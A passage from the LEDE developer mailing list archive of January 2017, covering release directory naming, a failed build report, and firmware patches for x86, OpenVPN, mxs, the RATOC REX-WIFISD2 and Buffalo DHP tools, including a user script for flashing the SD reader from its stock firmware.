			? zynq (Xilinx Zynq 7000 SoCs)
	? New build system supports easier branching
		? Building different root file systems for different devices at once
	? Added support for a many new routers and boards
	? And lots and lots of other advancements?
As always, a big thank you goes to all our active package maintainers, testers, documenters, and supporters.

Have fun!

The LEDE Community

From richb.hanover at gmail.com  Fri Jan 27 16:25:06 2017
From: richb.hanover at gmail.com (Rich Brown)
Date: Fri, 27 Jan 2017 19:25:06 -0500
Subject: [LEDE-DEV] Finding Release snapshots/URLs for the "Release"
Message-ID: <F5EDFA9C-5B87-4F99-910C-4F0B3FEAE55D@gmail.com>

A couple questions about the release images and what we want to call them:

1) When I got to downloads.lede-project.org, I see the following directory structure:

../
releases/
   packages/17.01/
      ...
snapshots/
   faillogs/
   packages/
   targets/

I do NOT see any targets under the /releases directory. Why? 

2) Why doesn't the /releases directory mirror the /snapshots directory?

3) I have discovered that the release images are available /releases/17.01-SNAPSHOT/  Is this what we should document?

4) It's really confusing to talk about (and document) the release candidates and the daily "trunk" builds. Currently, image file names for stable build candidates contain the word "snapshot", while trunk builds (in the /snapshots directory) do not:

	Stable candidate: lede-17.01-snapshot-r3032-36db143-ar71xx-generic-archer-c7-v2-squashfs-sysupgrade.bin
	Trunk build: lede-ar71xx-generic-archer-c7-v2-il-squashfs-sysupgrade.bin

So both have the name "snapshot" in their URL. Is this the desired naming scheme for release candidate builds?

5) What is the naming scheme for the final 17.01 image URLs?

6) When we release a new version (say, 17.06), what will those URLs be?

We'll adjust the documentation to match the results of this discussion. Thanks.

Rich
	

From francesco.borromini at inventati.org  Fri Jan 27 16:42:04 2017
From: francesco.borromini at inventati.org (Stijn Segers)
Date: Sat, 28 Jan 2017 01:42:04 +0100
Subject: [LEDE-DEV] [PATCH] x86: add GPIO to FEATURES so kmod-leds-apu2 gets
 exposed
Message-ID: <20170128004204.3484-1-francesco.borromini@inventati.org>

Chris Blake's patch [1] added support for the APU2/3 LEDs and GPIOs but GPIO
needs to be enabled in FEATURES for x86; since by default it is not, the kmod-leds-apu2
package will not show up in menuconfig.

This patch adds GPIO support to the x86 Makefile so the kmod-leds-apu2 package gets exposed.

Signed-off-by: Stijn Segers <francesco.borromini at inventati.org>

[1] http://patchwork.ozlabs.org/patch/719765/
---
 target/linux/x86/Makefile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/target/linux/x86/Makefile b/target/linux/x86/Makefile
index f371b2ba3a..8b8e13e71d 100644
--- a/target/linux/x86/Makefile
+++ b/target/linux/x86/Makefile
@@ -9,7 +9,7 @@ include $(TOPDIR)/rules.mk
 ARCH:=i386
 BOARD:=x86
 BOARDNAME:=x86
-FEATURES:=squashfs ext4 vdi vmdk pcmcia targz fpu
+FEATURES:=squashfs ext4 vdi vmdk pcmcia targz fpu gpio
 SUBTARGETS:=generic legacy geode 64
 MAINTAINER:=Felix Fietkau <nbd at nbd.name>
 
-- 
2.11.0



From dennisschneck at web.de  Fri Jan 27 23:19:50 2017
From: dennisschneck at web.de (Dennis Schneck)
Date: Sat, 28 Jan 2017 08:19:50 +0100
Subject: [LEDE-DEV] Arcadyan VGV7510KW22 - Build/make fail
Message-ID: <trinity-da2dd6e0-599d-45e0-bc6d-02b82501484f-1485587990666@3capp-webde-bs34>



?
Hello Stefan,
the build fail for VGV7510KW22 (please see the .config as _config in attach)
?

checking curses.h presence... yes
checking for curses.h... yes
checking for a sed that does not truncate output... /home/dennis/Downloads/o26431-vmmc_v3/source/staging_dir/host/bin/sed
checking for xml2-config... /home/dennis/Downloads/o26431-vmmc_v3/source/staging_dir/target-mips_24kc_musl-1.1.16/host/bin/xml2-config
configure: error: Could not find required 'Libxml2' development package
make[3]: *** [Makefile:291: /home/dennis/Downloads/o26431-vmmc_v3/source/build_dir/target-mips_24kc_musl-1.1.16/asterisk-13.9.1/.configured_yyyyyyy] Error 1
make[3]: Leaving directory '/home/dennis/Downloads/o26431-vmmc_v3/source/feeds/telephony/net/asterisk-13.x'
make[2]: *** [package/Makefile:108: package/feeds/telephony/asterisk-13.x/compile] Error 2
make[2]: Leaving directory '/home/dennis/Downloads/o26431-vmmc_v3/source'
make[1]: *** [package/Makefile:102: /home/dennis/Downloads/o26431-vmmc_v3/source/staging_dir/target-mips_24kc_musl-1.1.16/stamp/.package_compile] Error 2
make[1]: Leaving directory '/home/dennis/Downloads/o26431-vmmc_v3/source'
make: *** [/home/dennis/Downloads/o26431-vmmc_v3/source/include/toplevel.mk:199: world] Fehler 2
?
?
Using your file: o26431-vmmc_v3.tar.gz
and enable the Modules like you write in: o26431_modules.txt
?
How to fix this ?
?
Thanks
?
-------------- next part --------------
A non-text attachment was scrubbed...
Name: _config
Type: application/octet-stream
Size: 169558 bytes
Desc: not available
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170128/6dee368a/attachment-0001.obj>

From mkroken at gmail.com  Sat Jan 28 01:30:36 2017
From: mkroken at gmail.com (Magnus Kroken)
Date: Sat, 28 Jan 2017 10:30:36 +0100
Subject: [LEDE-DEV] [PATCH] openvpn: add support for various new 2.4
 configuration options
In-Reply-To: <1484603763-21334-1-git-send-email-mkroken@gmail.com>
References: <1484603763-21334-1-git-send-email-mkroken@gmail.com>
Message-ID: <237fc8ed-43ed-1d13-d6a5-39ba9badff2f@gmail.com>

Hi

On 16.01.2017 22.56, Magnus Kroken wrote:
> Updates to openvpn.init were included in early OpenVPN 2.4 patch
> series, but got lost along the way and were never merged.
>
> Signed-off-by: Magnus Kroken <mkroken at gmail.com>
> ---
>  .../network/services/openvpn/files/openvpn.init    | 43 ++++++++++------------
>  1 file changed, 19 insertions(+), 24 deletions(-)

Is it possible to apply this to 17.01 branch as well? If not, 17.01 will 
ship with OpenVPN 2.4.0, but several new options will be unavailable 
when using UCI to configure OpenVPN.

Regards,
/Magnus

> diff --git a/package/network/services/openvpn/files/openvpn.init b/package/network/services/openvpn/files/openvpn.init
> index 0fcdc7e..af9c144 100644
> --- a/package/network/services/openvpn/files/openvpn.init
> +++ b/package/network/services/openvpn/files/openvpn.init
> @@ -95,38 +95,33 @@ start_instance() {
>
>  	# append flags
>  	append_bools "$s" \
> -		auth_nocache auth_user_pass_optional bind ccd_exclusive client client_cert_not_required \
> -		client_to_client comp_noadapt disable \
> -		disable_occ down_pre duplicate_cn fast_io float http_proxy_retry \
> +		allow_recursive_routing auth_nocache auth_user_pass_optional bind ccd_exclusive client client_cert_not_required \
> +		client_to_client comp_noadapt disable disable_occ down_pre duplicate_cn fast_io float http_proxy_retry \
>  		ifconfig_noexec ifconfig_nowarn ifconfig_pool_linear management_forget_disconnect management_hold \
>  		management_query_passwords management_signal mktun mlock mtu_test multihome mute_replay_warnings \
> -		nobind no_iv no_name_remapping no_replay opt_verify passtos persist_key persist_local_ip \
> -		persist_remote_ip persist_tun ping_timer_rem pull push_reset \
> -		remote_random rmtun route_noexec route_nopull single_session socks_proxy_retry \
> -		suppress_timestamps tcp_nodelay test_crypto tls_client tls_exit tls_server \
> +		ncp_disable nobind no_iv no_name_remapping no_replay opt_verify passtos persist_key persist_local_ip \
> +		persist_remote_ip persist_tun ping_timer_rem pull push_reset remote_random rmtun route_noexec route_nopull \
> +		single_session socks_proxy_retry suppress_timestamps tcp_nodelay test_crypto tls_client tls_exit tls_server \
>  		tun_ipv6 up_delay up_restart username_as_common_name
>
>  	# append params
>  	append_params "$s" \
>  		cd askpass auth auth_retry auth_user_pass auth_user_pass_verify bcast_buffers ca cert capath \
> -		chroot cipher client_config_dir client_connect client_disconnect comp_lzo connect_freq \
> +		chroot cipher client_config_dir client_connect client_disconnect comp_lzo compress connect_freq \
>  		connect_retry connect_timeout connect_retry_max crl_verify dev dev_node dev_type dh \
> -		echo engine explicit_exit_notify fragment group hand_window hash_size \
> -		http_proxy http_proxy_option http_proxy_timeout ifconfig ifconfig_pool \
> -		ifconfig_pool_persist ifconfig_push inactive ipchange iroute keepalive \
> -		key key_method keysize learn_address link_mtu lladdr local log log_append \
> -		lport management management_log_cache max_clients \
> -		max_routes_per_client mode mssfix mtu_disc mute nice ns_cert_type ping \
> -		ping_exit ping_restart pkcs12 plugin port port_share prng proto rcvbuf \
> -		redirect_gateway remap_usr1 remote remote_cert_eku remote_cert_ku remote_cert_tls \
> -		reneg_bytes reneg_pkts reneg_sec \
> -		replay_persist replay_window resolv_retry route route_delay route_gateway \
> -		route_metric route_pre_down route_up rport script_security secret server server_bridge setenv shaper sndbuf \
> -		socks_proxy status status_version syslog tcp_queue_limit tls_auth tls_version_min \
> -		tls_cipher tls_remote tls_timeout tls_verify tmp_dir topology tran_window \
> -		tun_mtu tun_mtu_extra txqueuelen user verb down push up \
> -		verify_x509_name x509_username_field \
> -		ifconfig_ipv6 route_ipv6 server_ipv6 ifconfig_ipv6_pool ifconfig_ipv6_push iroute_ipv6
> +		ecdh_curve echo engine explicit_exit_notify fragment group hand_window hash_size http_proxy \
> +		http_proxy_option http_proxy_timeout ifconfig ifconfig_pool ifconfig_pool_persist ifconfig_push \
> +		inactive ipchange iroute keepalive key key_method keysize learn_address link_mtu lladdr local \
> +		log log_append lport management management_log_cache max_clients max_routes_per_client mode \
> +		mssfix mtu_disc mute ncp_ciphers nice ns_cert_type ping ping_exit ping_restart pkcs12 plugin \
> +		port port_share prng proto pull_filter rcvbuf redirect_gateway remap_usr1 remote remote_cert_eku \
> +		remote_cert_ku remote_cert_tls reneg_bytes reneg_pkts reneg_sec replay_persist replay_window \
> +		resolv_retry route route_delay route_gateway route_metric route_pre_down route_up rport \
> +		script_security secret server server_bridge setenv shaper sndbuf socks_proxy status status_version \
> +		syslog tcp_queue_limit tls_auth tls_crypt tls_version_min tls_cipher tls_timeout \
> +		tls_verify tmp_dir topology tran_window tun_mtu tun_mtu_extra txqueuelen user verb \
> +		down push up verify_x509_name x509_username_field ifconfig_ipv6 route_ipv6 server_ipv6 \
> +		ifconfig_ipv6_pool ifconfig_ipv6_push iroute_ipv6
>
>  	openvpn_add_instance "$s" "/var/etc" "openvpn-$s.conf"
>  }
>


From jaapbuurman at gmail.com  Sat Jan 28 03:36:29 2017
From: jaapbuurman at gmail.com (Jaap Buurman)
Date: Sat, 28 Jan 2017 12:36:29 +0100
Subject: [LEDE-DEV] LEDE-17.01 Final Release Notes available
Message-ID: <CAN-r--=Om69dokmvjJ05GGQ0tAPOvConMSbGYtD1iO3W1kSCKw@mail.gmail.com>

Great job on the release notes! One minor thing that I think looks
nicer would be the removal of "nothing specific" after "improved
performance", since it adds no additional information. But that's just
me.

Also about the following: "Improvements to the WiFi stack eliminating
bufferbloat on ath9k (and some ath10k) chipsets"

Is this about the Airtime Fairness Patch? AFAIK this is only for ath9k
and not for ath10k? Or am I mixing things up here?

While're talking about 17.01 anyway when are the first RCs coming out btw? :)


From francesco.borromini at inventati.org  Sat Jan 28 04:12:11 2017
From: francesco.borromini at inventati.org (Stijn Segers)
Date: Sat, 28 Jan 2017 13:12:11 +0100
Subject: [LEDE-DEV] [PATCH] x86: add GPIO to FEATURES so kmod-leds-apu2
 gets exposed
Message-ID: <c7b99f3ee17d91d733a3526e8cd393af@inventati.org>

Nevermind me, I forgot to backport 
e3271d545d8f29f42a79d7cd5595858e67eb95e7 to 17.01... So please ignore 
this!

Another reason not to be messing with computers past midnight >_>

Stijn


From jo at mein.io  Sat Jan 28 06:35:19 2017
From: jo at mein.io (Jo-Philipp Wich)
Date: Sat, 28 Jan 2017 15:35:19 +0100
Subject: [LEDE-DEV] Finding Release snapshots/URLs for the "Release"
In-Reply-To: <F5EDFA9C-5B87-4F99-910C-4F0B3FEAE55D@gmail.com>
References: <F5EDFA9C-5B87-4F99-910C-4F0B3FEAE55D@gmail.com>
Message-ID: <79414fba-2497-ed72-1ea8-61d645cc1129@mein.io>

Hi Rich,

> 1) When I got to downloads.lede-project.org, I see the following
> directory structure: [...] I do NOT see any targets under the
> /releases directory. Why?

I intentionally hid the "17.01-SNAPSHOTS" directory because it is not a
fixed (as in non-moving) build, it merely reflects the build output of
the current branch HEAD.

> 2) Why doesn't the /releases directory mirror the /snapshots
> directory?

Because releases are structured slightly differently.

> 3) I have discovered that the release images are available
> /releases/17.01-SNAPSHOT/  Is this what we should document?

No, please do not document that particular directory, see below.

> 4) It's really confusing to talk about (and document) the release
> candidates and the daily "trunk" builds. Currently, image file names
> for stable build candidates contain the word "snapshot", while trunk
> builds (in the /snapshots directory) do not:

Those images are not stable build candidates but merely release branch
snapshots, thats why they contain the word "snapshot" and also why
they're currently hidden from the toplevel directory.

I instructed the buildbot to produce tagged rc1 builds today, those will
be true, fixed release candidate images which do not move.

Once built, those images will appear in /releases/17.01.0-rc1/ and
remain unchanged. In addition to that, there will be a corresponding
"v17.01.0-rc1" tag in the repository which can be used to reproduce this
particular images.

The /releases/17.01.[0-9]* directories (once existing) which are not
hidden are the ones that should be documented and referred to as fixed
builds.

> 5) What is the naming scheme for the final 17.01 image URLs?

The RCs will be:

/releases/17.01.0-rc[0-9]*/targets/$target/$subtarget/lede-17.01.0-rc[0-9]*-r####-XXXXXXX-$target-$subtarget-*.bin

The finals will be:

/releases/17.01.0/targets/$target/$subtarget/lede-17.01.0-r####-XXXXXXX-$target-$subtarget-*.bin

> 6) When we release a new version (say, 17.06), what will those URLs
> be?

The RCs will be:

/releases/17.06.0-rc[0-9]*/targets/$target/$subtarget/lede-17.06.0-rc[0-9]*-r####-XXXXXXX-$target-$subtarget-*.bin

The finals will be:

/releases/17.06.0/targets/$target/$subtarget/lede-17.06.0-r####-XXXXXXX-$target-$subtarget-*.bin

> We'll adjust the documentation to match the results of this
> discussion. Thanks.

I appreciate your efforts on this, thank you :)

~ Jo


From mhei at heimpold.de  Sat Jan 28 07:32:34 2017
From: mhei at heimpold.de (Michael Heimpold)
Date: Sat, 28 Jan 2017 16:32:34 +0100
Subject: [LEDE-DEV] [PATCH] mxs: remove stale references to obsolete kernel
 module packages
Message-ID: <1485617554-23611-1-git-send-email-mhei@heimpold.de>

Commit 29443e2 (mxs: remove modules.mk, select drivers in the kernel config)
missed to remove these references, so cleanup it now.

Signed-off-by: Michael Heimpold <mhei at heimpold.de>
---
 target/linux/mxs/Makefile                       | 2 --
 target/linux/mxs/profiles/01-duckbill.mk        | 3 +--
 target/linux/mxs/profiles/02-olinuxino-maxi.mk  | 6 ++----
 target/linux/mxs/profiles/03-olinuxino-micro.mk | 5 +----
 4 files changed, 4 insertions(+), 12 deletions(-)

diff --git a/target/linux/mxs/Makefile b/target/linux/mxs/Makefile
index ede5d6c..447c333 100644
--- a/target/linux/mxs/Makefile
+++ b/target/linux/mxs/Makefile
@@ -22,6 +22,4 @@ endef
 
 include $(INCLUDE_DIR)/target.mk
 
-DEFAULT_PACKAGES += kmod-wdt-stmp3xxx
-
 $(eval $(call BuildTarget))
diff --git a/target/linux/mxs/profiles/01-duckbill.mk b/target/linux/mxs/profiles/01-duckbill.mk
index 6b1dc18..cab379a 100644
--- a/target/linux/mxs/profiles/01-duckbill.mk
+++ b/target/linux/mxs/profiles/01-duckbill.mk
@@ -10,8 +10,7 @@ define Profile/duckbill
   FEATURES+=usbgadget
   PACKAGES+= \
 	-dnsmasq -firewall -ppp -ip6tables -iptables -6relayd -mtd uboot-envtools \
-	kmod-leds-gpio kmod-ledtrig-timer kmod-usb-mxs-phy -kmod-ipt-nathelper \
-	kmod-i2c-mxs kmod-spi-mxs uboot-mxs-duckbill
+	kmod-leds-gpio kmod-ledtrig-timer -kmod-ipt-nathelper uboot-mxs-duckbill
 endef
 
 define Profile/duckbill/Description
diff --git a/target/linux/mxs/profiles/02-olinuxino-maxi.mk b/target/linux/mxs/profiles/02-olinuxino-maxi.mk
index 7885d1f..59d0376 100644
--- a/target/linux/mxs/profiles/02-olinuxino-maxi.mk
+++ b/target/linux/mxs/profiles/02-olinuxino-maxi.mk
@@ -8,10 +8,8 @@
 define Profile/olinuxino-maxi
   NAME:=Olimex OLinuXino Maxi/Mini boards
   PACKAGES += imx-bootlets uboot-mxs-mx23_olinuxino \
-	  kmod-usb-mxs-phy kmod-usb-net kmod-usb-net-smsc95xx \
-	  kmod-gpio-mcp23s08 kmod-leds-gpio kmod-ledtrig-heartbeat kmod-rtc-stmp3xxx \
-	  kmod-sound-core kmod-sound-soc-mxs kmod-iio-mxs-lradc kmod-crypto-hw-dcp \
-	  kmod-i2c-mxs kmod-spi-mxs
+	  kmod-usb-net kmod-usb-net-smsc95xx kmod-gpio-mcp23s08 \
+	  kmod-leds-gpio kmod-ledtrig-heartbeat kmod-sound-core
 endef
 
 define Profile/olinuxino-maxi/Description
diff --git a/target/linux/mxs/profiles/03-olinuxino-micro.mk b/target/linux/mxs/profiles/03-olinuxino-micro.mk
index 356a877..535f6b5 100644
--- a/target/linux/mxs/profiles/03-olinuxino-micro.mk
+++ b/target/linux/mxs/profiles/03-olinuxino-micro.mk
@@ -8,10 +8,7 @@
 define Profile/olinuxino-micro
   NAME:=Olimex OLinuXino Micro/Nano boards
   PACKAGES += imx-bootlets uboot-mxs-mx23_olinuxino \
-	  kmod-usb-mxs-phy kmod-gpio-mcp23s08 kmod-leds-gpio \
-	  kmod-ledtrig-heartbeat kmod-rtc-stmp3xxx \
-	  kmod-iio-mxs-lradc kmod-crypto-hw-dcp \
-	  kmod-i2c-mxs kmod-spi-mxs
+	  kmod-gpio-mcp23s08 kmod-leds-gpio kmod-ledtrig-heartbeat
 endef
 
 define Profile/olinuxino-micro/Description
-- 
2.7.4



From naobsd at gmail.com  Sat Jan 28 08:03:29 2017
From: naobsd at gmail.com (FUKAUMI Naoki)
Date: Sun, 29 Jan 2017 01:03:29 +0900
Subject: [LEDE-DEV] [PATCH v2] ramips: add support for RATOC REX-WIFISD2
Message-ID: <20170128160329.23016-1-naobsd@gmail.com>

RATOC REX-WIFISD2 is a battery-powered wireless SD card reader with

 - MT7620A + MT7610E
 - 64MiB DDR2 SDRAM
 - 16MiB SPI flash
 - 2T2R 11b/g/n + 1T1R 11ac/a/n Wi-Fi
 - 1x 10/100Mbps ethernet switch
 - 1x SD card
 - 1x USB 2.0
 - 2x programmable LED
 - 1x button

stock firmware is very similar to HooToo Tripmate travel routers. you
can do almost anything as a root user with telnet and/or shell script
(factory image or "EnterRouterMode.sh") on stock firmware.

"EnterRouterMode.sh" will be the easiest way to install. put the
following shell script into SD card (or USB storage) as
"EnterRouterMode.sh" with "kernel.bin" and "rootfs.bin" files.

 ----
 #!/bin/sh

 dir=`dirname $0`

 mtd_write write ${dir}/kernel.bin Kernel_RootFS
 mtd_write -r write ${dir}/rootfs.bin Rootfs
 ----

it will be run automatically when SD card is mounted on stock firmware.

TFTP can also be used to flash kernel and rootfs. it will be run by
press & hold RESET button while power on. (serverip=10.10.10.254)

you may use all partitions between "kernel" and "rootfs" as a single
"firmware" partition (please edit dts yourself), but "params" partition
should be kept if you want to restore stock firmware.

Signed-off-by: FUKAUMI Naoki <naobsd at gmail.com>
---
Changes in v2:
- add "read-only" property to "params", "user_backup", and "user" partitions

 .../linux/ramips/base-files/etc/board.d/02_network |   1 +
 target/linux/ramips/base-files/etc/diag.sh         |   3 +-
 target/linux/ramips/base-files/lib/ramips.sh       |   3 +
 .../ramips/base-files/lib/upgrade/platform.sh      |   1 +
 target/linux/ramips/dts/REX-WIFISD2.dts            | 148 +++++++++++++++++++++
 target/linux/ramips/image/mt7620.mk                |  10 ++
 6 files changed, 165 insertions(+), 1 deletion(-)
 create mode 100644 target/linux/ramips/dts/REX-WIFISD2.dts

diff --git a/target/linux/ramips/base-files/etc/board.d/02_network b/target/linux/ramips/base-files/etc/board.d/02_network
index 91f1aaa..b27954f 100755
--- a/target/linux/ramips/base-files/etc/board.d/02_network
+++ b/target/linux/ramips/base-files/etc/board.d/02_network
@@ -192,6 +192,7 @@ ramips_setup_interfaces()
 	mzk-ex750np|\
 	na930|\
 	pbr-d1|\
+	rex-wifisd2|\
 	wli-tx4-ag300n|\
 	wmr-300|\
 	wrh-300cr)
diff --git a/target/linux/ramips/base-files/etc/diag.sh b/target/linux/ramips/base-files/etc/diag.sh
index 9499833..84031d1 100644
--- a/target/linux/ramips/base-files/etc/diag.sh
+++ b/target/linux/ramips/base-files/etc/diag.sh
@@ -41,7 +41,8 @@ get_status_led() {
 	xdxrn502j)
 		status_led="$board:green:power"
 		;;
-	3g-6200nl)
+	3g-6200nl|\
+	rex-wifisd2)
 		status_led="$board:green:internet"
 		;;
 	a5-v11|\
diff --git a/target/linux/ramips/base-files/lib/ramips.sh b/target/linux/ramips/base-files/lib/ramips.sh
index 8292da1..5ab46de 100755
--- a/target/linux/ramips/base-files/lib/ramips.sh
+++ b/target/linux/ramips/base-files/lib/ramips.sh
@@ -406,6 +406,9 @@ ramips_board_detect() {
 	*"RE6500")
 		name="re6500"
 		;;
+	*"REX-WIFISD2")
+		name="rex-wifisd2"
+		;;
 	*"RN502J")
 		name="xdxrn502j"
 		;;
diff --git a/target/linux/ramips/base-files/lib/upgrade/platform.sh b/target/linux/ramips/base-files/lib/upgrade/platform.sh
index c6ad8ca..05d2759 100755
--- a/target/linux/ramips/base-files/lib/upgrade/platform.sh
+++ b/target/linux/ramips/base-files/lib/upgrade/platform.sh
@@ -113,6 +113,7 @@ platform_check_image() {
 	px-4885|\
 	rb750gr3|\
 	re6500|\
+	rex-wifisd2|\
 	rp-n53|\
 	rt5350f-olinuxino|\
 	rt5350f-olinuxino-evb|\
diff --git a/target/linux/ramips/dts/REX-WIFISD2.dts b/target/linux/ramips/dts/REX-WIFISD2.dts
new file mode 100644
index 0000000..4d8819a
--- /dev/null
+++ b/target/linux/ramips/dts/REX-WIFISD2.dts
@@ -0,0 +1,148 @@
+/dts-v1/;
+
+#include "mt7620a.dtsi"
+
+#include <dt-bindings/gpio/gpio.h>
+#include <dt-bindings/input/input.h>
+
+/ {
+	compatible = "ratoc,rex-wifisd2", "ralink,mt7620a-soc";
+	model = "RATOC REX-WIFISD2";
+
+	gpio-keys-polled {
+		compatible = "gpio-keys-polled";
+		#address-cells = <1>;
+		#size-cells = <0>;
+		poll-interval = <20>;
+
+		reset {
+			label = "reset";
+			gpios = <&gpio2 1 GPIO_ACTIVE_LOW>;
+			linux,code = <KEY_RESTART>;
+		};
+	};
+
+	gpio-leds {
+		compatible = "gpio-leds";
+
+		internet {
+			label = "rex-wifisd2:green:internet";
+			gpios = <&gpio2 2 GPIO_ACTIVE_HIGH>;
+		};
+
+		wifi {
+			label = "rex-wifisd2:blue:wifi";
+			gpios = <&gpio3 0 GPIO_ACTIVE_LOW>;
+		};
+	};
+};
+
+&ehci {
+	status = "okay";
+};
+
+&ethernet {
+	mtd-mac-address = <&factory 0x2e>;
+	mediatek,portmap = "llllw";
+};
+
+&gpio1 {
+	status = "okay";
+};
+
+&gpio2 {
+	status = "okay";
+};
+
+&gpio3 {
+	status = "okay";
+};
+
+&ohci {
+	status = "okay";
+};
+
+&pcie {
+	status = "okay";
+
+	pcie-bridge {
+		mt76 at 0,0 {
+			reg = <0x0000 0 0 0 0>;
+			device_type = "pci";
+			mediatek,mtd-eeprom = <&factory 0x8000>;
+			mediatek,2ghz = <0>;
+		};
+	};
+};
+
+&pinctrl {
+	state_default: pinctrl0 {
+		gpio {
+			ralink,group = "wled", "ephy";
+			ralink,function = "gpio";
+		};
+	};
+};
+
+&spi0 {
+	status = "okay";
+
+	m25p80 at 0 {
+		#address-cells = <1>;
+		#size-cells = <1>;
+		compatible = "jedec,spi-nor";
+		reg = <0>;
+		spi-max-frequency = <10000000>;
+		m25p,chunked-io = <32>;
+
+		partition at 0 {
+			label = "u-boot";
+			reg = <0x0 0x30000>;
+			read-only;
+		};
+
+		partition at 30000 {
+			label = "u-boot-env";
+			reg = <0x30000 0x10000>;
+			read-only;
+		};
+
+		factory: partition at 40000 {
+			label = "factory";
+			reg = <0x40000 0x10000>;
+			read-only;
+		};
+
+		partition at 50000 {
+			label = "kernel";
+			reg = <0x50000 0x180000>;
+		};
+
+		partition at 1d0000 {
+			label = "params";
+			reg = <0x1d0000 0x10000>;
+			read-only;
+		};
+
+		partition at 1e0000 {
+			label = "user_backup";
+			reg = <0x1e0000 0x10000>;
+			read-only;
+		};
+
+		partition at 1f0000 {
+			label = "user";
+			reg = <0x1f0000 0x10000>;
+			read-only;
+		};
+
+		partition at 200000 {
+			label = "rootfs";
+			reg = <0x200000 0xe00000>;
+		};
+	};
+};
+
+&wmac {
+	ralink,mtd-eeprom = <&factory 0>;
+};
diff --git a/target/linux/ramips/image/mt7620.mk b/target/linux/ramips/image/mt7620.mk
index 50eae2f..0728d93 100644
--- a/target/linux/ramips/image/mt7620.mk
+++ b/target/linux/ramips/image/mt7620.mk
@@ -465,3 +465,13 @@ define Device/kng_rc
 	zyimage -d 8997 -v "ZyXEL Keenetic Viva"
 endef
 TARGET_DEVICES += kng_rc
+
+define Device/rex-wifisd2
+  DTS := REX-WIFISD2
+  IMAGES := kernel.bin rootfs.bin
+  IMAGE/kernel.bin := append-kernel
+  IMAGE/rootfs.bin := append-rootfs | pad-rootfs
+  DEVICE_TITLE := RATOC REX-WIFISD2
+  DEVICE_PACKAGES := kmod-usb2 kmod-usb-ohci
+endef
+TARGET_DEVICES += rex-wifisd2
-- 
2.7.4



From naobsd at gmail.com  Sat Jan 28 08:05:54 2017
From: naobsd at gmail.com (FUKAUMI Naoki)
Date: Sun, 29 Jan 2017 01:05:54 +0900
Subject: [LEDE-DEV] [PATCH v4 1/3] firmware-utils: improve tools for Buffalo
 DHP series
Message-ID: <20170128160556.23071-1-naobsd@gmail.com>

some of Buffalo DHP series use slightly different trx magic, buffalo-enc,
buffalo-tag, and factory image begin with 'bgn'.

this patch adds support for building those images.

Signed-off-by: FUKAUMI Naoki <naobsd at gmail.com>
---
Changes in v4:
Changes in v3:
- no change

Changes in v2:
- refresh everything to make rules simple

 include/image-commands.mk              | 33 +++++++++++++
 tools/firmware-utils/Makefile          |  1 +
 tools/firmware-utils/src/buffalo-enc.c | 26 +++++++++--
 tools/firmware-utils/src/buffalo-lib.h | 20 ++++++++
 tools/firmware-utils/src/buffalo-tag.c | 46 ++++++++++++++++--
 tools/firmware-utils/src/mkdhpimg.c    | 85 ++++++++++++++++++++++++++++++++++
 tools/firmware-utils/src/trx.c         | 13 +++++-
 7 files changed, 215 insertions(+), 9 deletions(-)
 create mode 100644 tools/firmware-utils/src/mkdhpimg.c

diff --git a/include/image-commands.mk b/include/image-commands.mk
index e0f2918..7d124ec 100644
--- a/include/image-commands.mk
+++ b/include/image-commands.mk
@@ -11,6 +11,39 @@ define Build/uImage
 	@mv $@.new $@
 endef
 
+define Build/buffalo-enc
+	$(eval product=$(word 1,$(1)))
+	$(eval version=$(word 2,$(1)))
+	$(eval args=$(wordlist 3,$(words $(1)),$(1)))
+	$(STAGING_DIR_HOST)/bin/buffalo-enc \
+		-p $(product) -v $(version) $(args) \
+		-i $@ -o $@.new
+	mv $@.new $@
+endef
+
+define Build/buffalo-enc-tag
+	$(call Build/buffalo-enc,'' '' -S 152 $(1))
+endef
+
+define Build/buffalo-tag-dhp
+	$(eval product=$(word 1,$(1)))
+	$(eval region=$(word 2,$(1)))
+	$(eval language=$(word 3,$(1)))
+	$(STAGING_DIR_HOST)/bin/buffalo-tag \
+		-d 0x01000000 -w 1 \
+		-a $(BUFFALO_TAG_PLATFORM) \
+		-v $(BUFFALO_TAG_VERSION) -m $(BUFFALO_TAG_MINOR) \
+		-b $(product) -p $(product) \
+		-r $(region) -r $(region) -l $(language) \
+		-I $@ -o $@.new
+	mv $@.new $@
+endef
+
+define Build/buffalo-dhp-image
+	$(STAGING_DIR_HOST)/bin/mkdhpimg $@ $@.new
+	mv $@.new $@
+endef
+
 define Build/netgear-chk
 	$(STAGING_DIR_HOST)/bin/mkchkimg \
 		-o $@.new \
diff --git a/tools/firmware-utils/Makefile b/tools/firmware-utils/Makefile
index 69cba69..2504678 100644
--- a/tools/firmware-utils/Makefile
+++ b/tools/firmware-utils/Makefile
@@ -80,6 +80,7 @@ define Host/Compile
 	$(call cc,jcgimage, -lz -Wall)
 	$(call cc,mkbuffaloimg, -Wall)
 	$(call cc,zyimage, -Wall)
+	$(call cc,mkdhpimg buffalo-lib, -Wall)
 endef
 
 define Host/Install
diff --git a/tools/firmware-utils/src/buffalo-enc.c b/tools/firmware-utils/src/buffalo-enc.c
index 794659e..08fad4e 100644
--- a/tools/firmware-utils/src/buffalo-enc.c
+++ b/tools/firmware-utils/src/buffalo-enc.c
@@ -35,6 +35,7 @@ static char *product;
 static char *version;
 static int do_decrypt;
 static int offset;
+static int size;
 
 void usage(int status)
 {
@@ -54,6 +55,7 @@ void usage(int status)
 "  -v <version>    set version to <version>\n"
 "  -h              show this screen\n"
 "  -O              Offset of encrypted data in file (decryption)\n"
+"  -S              Size of unencrypted data in file (encryption)\n"
 	);
 
 	exit(status);
@@ -118,7 +120,7 @@ out:
 static int encrypt_file(void)
 {
 	struct enc_param ep;
-	ssize_t src_len;
+	ssize_t src_len, tail_dst, tail_len, tail_src;
 	unsigned char *buf;
 	uint32_t hdrlen;
 	ssize_t totlen = 0;
@@ -131,8 +133,12 @@ static int encrypt_file(void)
 		goto out;
 	}
 
-	totlen = enc_compute_buf_len(product, version, src_len);
-	hdrlen = enc_compute_header_len(product, version);
+	if (size) {
+		tail_dst = enc_compute_buf_len(product, version, size);
+		tail_len = src_len - size;
+		totlen = tail_dst + tail_len;
+	} else
+		totlen = enc_compute_buf_len(product, version, src_len);
 
 	buf = malloc(totlen);
 	if (buf == NULL) {
@@ -140,12 +146,21 @@ static int encrypt_file(void)
 		goto out;
 	}
 
+	hdrlen = enc_compute_header_len(product, version);
+
 	err = read_file_to_buf(ifname, &buf[hdrlen], src_len);
 	if (err) {
 		ERR("unable to read from file '%s'", ofname);
